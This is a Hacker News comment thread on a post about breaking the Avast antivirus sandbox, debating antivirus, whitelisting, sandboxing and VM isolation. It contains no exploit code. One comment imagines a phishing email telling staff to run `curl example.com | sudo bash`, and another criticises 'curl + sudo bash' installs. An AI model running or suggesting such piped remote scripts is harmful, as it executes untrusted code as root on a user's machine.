Entering and Breaking the Avast Antivirus Sandbox Part 2 | Hacker News Reader

Entering and Breaking the Avast Antivirus Sandbox Part 2

safateam.com

115 pointssafateam32 comments

I have lost faith in signature AV and CVE feeds for that matter. Attackers test against scanners until they come back clean and avoid known fingerprints. The only way I see to catch things now is behaviour diffing through static analysis.

Disclosure: I build Vigilance, which does this.

The point of AV is to catch that PCI DSS stamp of approval, not catch malware. Regulatory capture is the best marketing strategy

Chalk another one up for "Antiviruses causing more problems than solving them".

They 'worked' when they initially just scanned files for known malicious signatures. Now they're the equivalent of a sledgehammer to a wall with all of the extra bells & whistles strapped to them.

Application whitelisting is the remaining way forward if you actually care about runtime security. That & locking every access point down to the bare minimum.

I would say white listing will have to happen for everything in the near future: applications, ports, URLs (including fragments!), filesystem hierarchies, basically everything.

I'm not sure it's doable with current OS architectures, though.

Isn't the model of AppArmor or SELinux a good approach to tackle this problem?

No, it is unfit for this purpose. The reason is:

- you need to specify the rules before starting an application. How one is supposed to guess what application will do? Figuring out the correct rules may take lot of time and is impossible for non-programmers. Imagine I want to install 10 apps per day and they should work perfectly, how much time will I be spending writing rules?

- the rules cannot be changed in runtime, for example, giving access to a camera for 1 minute

- the rules are too limited. You can restrict access to a file, but can you restrict access to a DBUS bus? Can you restrict access to audio, video, GPU etc? To /proc filesystem? To a DNS domain? The rules feel like they were written for computers with teletypes from 70s and not for modern machines.

- they do not allow providing fake data, for example, a fake list of WiFi points so that the app thinks it has the access to your geolocation while in reality is doesn't.

So it is some outdated technology unfit for modern day.

What does a user want? The user wants to be able to run anything without any risk and without writing any config files. Obviously it takes a skill to write such OS, and there is definitely a lack of people with this skill among Linux distribution creators.

A system where installation is done using "curl + sudo bash" is the opposite of a safe OS.

> A system where installation is done using "curl + sudo bash" is the opposite of a safe OS.

not clear at all. E.g. on QubesOS this could be fine

It could be harmless, but never fine.

>Imagine I want to install 10 apps per day

Either you're engaged in some large-scale testing operation and your automation already handles it, or something has gone terribly wrong and the inconvenience of the sandboxing UI is the least of your concerns.

So your solution is that general purpose computers should be restricted in which code they can run.

No, the point is that the amount of friction you can add to new app installs is much higher if you don’t optimize it for the unlikely case that your user is an app reviewer.

No, the point is that every time your computer isn't doing something you want it to do, you should be able to download a software package to make it do that.

Yes, but not 10 times a day every day. No one’s doing that.

Antivirus is not a bad thing. Imagine running a company where there are 100 employees that click every link and open every attachment. Definitely safer with an antivirus.

I imagined it with employees on Linux and it wasn't clear to me it's definitely safer with an antivirus software. You are just stating things without explaining yourself...

how? if there's hundreds of employees and one of them downloads something that's detectable, you've now prevented a disaster that otherwise wouldn't have

Imagine they got an email from the HR department that says that they must copy `curl example.com | sudo bash` to prove they are human and get their salary...

Maybe you’re imagining no local privilege escalation vulnerabilities. Those are low severity in general, but if you can get a user to run something it’s all over.

How much do I need to go on? A foothold on a local computer allows the attacker to spread horizontally across your network.

It’s just a matter of time before you’re fighting real-time AI-driven attacks (most sites aren’t yet). Good luck even with your antivirus. Which I agree is going to be one of the footholds that is used against you.

That's only because Linux doesn't have working antivirus though. If it did, you'd want it.

Or... working viruses on Linuxes, for that matter. They always throw something about needing glibc x.x.x or higher.

npm viruses were pretty successful

Who hosts npm? Oh same same!

Technically most malware should generally be able to rely on the syscall interface, no? As generally it doesn’t need a GUI or anything

I'm a firm believer that hardware virtualization is the way forward for security. Qubes OS has the right idea, but running an entire OS for every application is demanding.

IMO it would make more sense to run every app in its own scaled down VM, like Microdroid for Android. Windows 10 had Microsoft Defender Application Guard for Microsoft Edge, and as far as security goes it was a fortress.

Too bad they discontinued it, and that performance was subpar. I would have loved to see them develop the idea more.

Aren’t you then just moving the responsibility from OS (process isolation) to the CPU ? And doesn’t this whole thing break with practical realities, such as processes needing to interact with each other ?

How would you deal with a password manager or a clipboard in these cases, for example, without increasing friction for users ?

> And doesn’t this whole thing break with practical realities, such as processes needing to interact with each other ?

There will always be advantages and disadvantages to all of this. But the general idea is to protect the "core" OS, and for that virtualization is superior to anything else you could try really. Android and iOS are already built to isolate apps from one another. ChromeOS uses Crostini to run Linux programs in a VM, etc.

> without increasing friction

That's always the compromise with an Antivirus, isn't it? The logical thing would be to build password managers into the OS, or maybe even to handle them differently. As they are already done in Android and iOS today.

Sandbox or virtualize everything does not eliminate the need to share data. Something control that permission, and it is the weakest link.

Either you end up with something don't work, too lax, or just DoS the user with permission dialog.

Processes are already hardware paravirtualization, and some early implementations even called them VMs. However, https://xkcd.com/2044/ is inescapable.

I work on making this a reality with an embeddable VM.

Performance doesn't have to be supbar, infact with the right properties and focus on being lightweight - I see 90% of native performance.

I work on this as context: https://github.com/smol-machines/smolvm

No what they are is:

You want to keep a building secure, so you have some structure of access and key managment, who has access to what and who do you let in.

Then you let access and key managment slide, your front-desktop lets in some shady people and their is a hole in your back wall.

The solution: add scaffolding around the facade and empower some security service staff to enter every room through every window and chime in on every front desk decision.

White listing doesn’t protect against supply chain attacks. You need some sort of behavioral analysis.

That's an impressively tight TOCTOU exploit!

Reply on news.ycombinator.com